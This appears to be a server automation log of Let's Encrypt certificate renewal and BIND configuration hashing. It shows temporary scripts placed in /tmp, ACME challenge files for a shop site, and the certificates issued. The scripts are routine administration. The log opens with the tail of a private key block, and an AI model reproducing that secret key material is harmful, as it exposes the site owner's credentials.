nSXGHPzKg5K9hyCyighLfzsodH0C+T6eurtSKvUZt1lfTXoV8QlrB7iIQNyvNFQg
OUD9MYQn+kgJT09c2ax3cQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-09 06:00:02: Establishing a connection
2025-12-09 06:00:03: Establishing a connection
2025-12-09 06:00:04: 

PUT: /tmp/pkp430759

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-09 06:00:05: 

chmod 755 /tmp/pkp430759; /tmp/pkp430759; rm /tmp/pkp430759

2025-12-09 06:00:05: 


0


2025-12-10 06:00:02: Establishing a connection
2025-12-10 06:00:03: Establishing a connection
2025-12-10 06:00:04: 

PUT: /tmp/pkp877398

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-10 06:00:05: 

chmod 755 /tmp/pkp877398; /tmp/pkp877398; rm /tmp/pkp877398

2025-12-10 06:00:05: 


0


2025-12-10 22:44:16: Establishing a connection
2025-12-10 22:44:27: Establishing a connection
2025-12-10 22:44:27: 

PUT: /tmp/pkp485051

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-10 22:44:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp485051; rm /tmp/pkp485051'

2025-12-10 22:44:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-10 22:44:35: Establishing a connection
2025-12-10 22:44:35: Establishing a connection
2025-12-10 22:44:35: 

PUT: /tmp/pkp560319

#!/bin/bash
if [ -d "/var/www/patientapps_shop/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-10 22:44:35: 

chmod 755 /tmp/pkp560319; /tmp/pkp560319; rm /tmp/pkp560319

2025-12-10 22:44:35: 


1


2025-12-10 22:44:37: Establishing a connection
2025-12-10 22:44:37: 

PUT: /tmp/pkp615614

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
cat > LE4Wd7ATyN2_SKwatftLu4YIm1Ezjfc5Mo1URvdBbp0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LE4Wd7ATyN2_SKwatftLu4YIm1Ezjfc5Mo1URvdBbp0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LE4Wd7ATyN2_SKwatftLu4YIm1Ezjfc5Mo1URvdBbp0


2025-12-10 22:44:37: 

chmod 755 /tmp/pkp615614; /tmp/pkp615614; rm /tmp/pkp615614

2025-12-10 22:44:37: 




2025-12-10 22:44:40: Establishing a connection
2025-12-10 22:44:40: 

PUT: /tmp/pkp777100

#!/bin/bash
mkdir -p "/var/www/patientapps_shop/.well-known/acme-challenge/"
cd "/var/www/patientapps_shop/.well-known/acme-challenge/"
rm LE4Wd7ATyN2_SKwatftLu4YIm1Ezjfc5Mo1URvdBbp0


2025-12-10 22:44:40: 

chmod 755 /tmp/pkp777100; /tmp/pkp777100; rm /tmp/pkp777100

2025-12-10 22:44:40: 




2025-12-10 22:44:40: Establishing a connection
2025-12-10 22:44:40: 

PUT: /tmp/pkp518188

#!/bin/bash
temp_file=$(mktemp)
TARGET=d18ebcef2c53b2fff4c3f6f80595db99

cat > $temp_file <<'endmsg'
8f:9d:59:35:04:28:25:21:a2:af:6d:52:e9:65:0b:89

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBS1m2MX8AmH6WI4a4yVcZmhbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEwMjE0NjA5WhcNMjYwMzEwMjE0NjA4WjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAuC4wrn1GYHFrMUqqNZJlAVAc3XwJ9njVwDrBovCSiBCY1MdoREkuZ4lG
iyEyUJs81eT4VBb+6WffQKVGoYyqeoQ8gJXuXNaW9Vt2XngNfTyulZ39EDT0BQiV
hw2hUMfA/6U2BjXnK0wQneRs31wiG1/0F75+Il8RW3Nt9XWe+diAIlWgOs+CKj/w
578TAN56m1h+XWSy6TRZ6CrqGuL+uwYij7HhEHVLxirdkkx+hIC5EXLYnpR75m0o
xap2mVeCHMBM6ZLpofxzbg1Owv6rrSGLm4mjkU/SuFAWtmdzGC/WZAC4ogxGlqli
j0tSTXl+vOiMP+BGLwksB3h+8n2xSwIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRehwzD4qYkiy6uLBqOEMCg4BG7DjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Nob3AucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85Mi5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdQBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZsKcCPOAAAE
AwBGMEQCIE/QlEbPq9l1gI6/3XUHdrAdgek0/fovyqK+rqHOpxR0AiAj9KDXbCuP
BDGKZjKT5IZkLnmpm4yo1ddJYuZkdfQg1AB2ANFuqaVoB35mNaA/N6XdvAOlPEES
FNSIGPXpMbMjy5UEAAABmwpwJOsAAAQDAEcwRQIgSrKEI+ly998qo4bgFg4KJpsc
5jG5XWmIcTQ9/dy9EjsCIQC58+QVDUnuW8F5cKc68lFs7r7Gl5ddNCc+ual6ElJu
YjANBgkqhkiG9w0BAQsFAAOCAQEAYgU66Wo96sWfu4+Q809xv66tflqJXmqL5Ezr
rKQZjRQnGsTUtDQJW7LBv7eLreNat+gb8txJu2w56P7w6dSSLN1okvyZP5c9mnUS
h1M4DSwhRC7svjJ5iziMAha4l3NdDaqp0EzuCzJMloB94vmzrw6ACqWC9+Typ0wo
Sc0SCFPrtAE6g4+xXhWelktptQiFAljDvTSEtTSUgMB0w1c6ZAxNKHExp5sv0HsP
j2SjhvGO/LHP2mkoA+jjCumrZDnvqCFi9NEslvuCxUqad7lVkjcldEKHRUebE4Ob
3G/v99njB8AS9yBtZ34iePd0iCY+vCMkqyxwLfJ7vNZMtrE4mg==
-----END CERTIFICATE-----



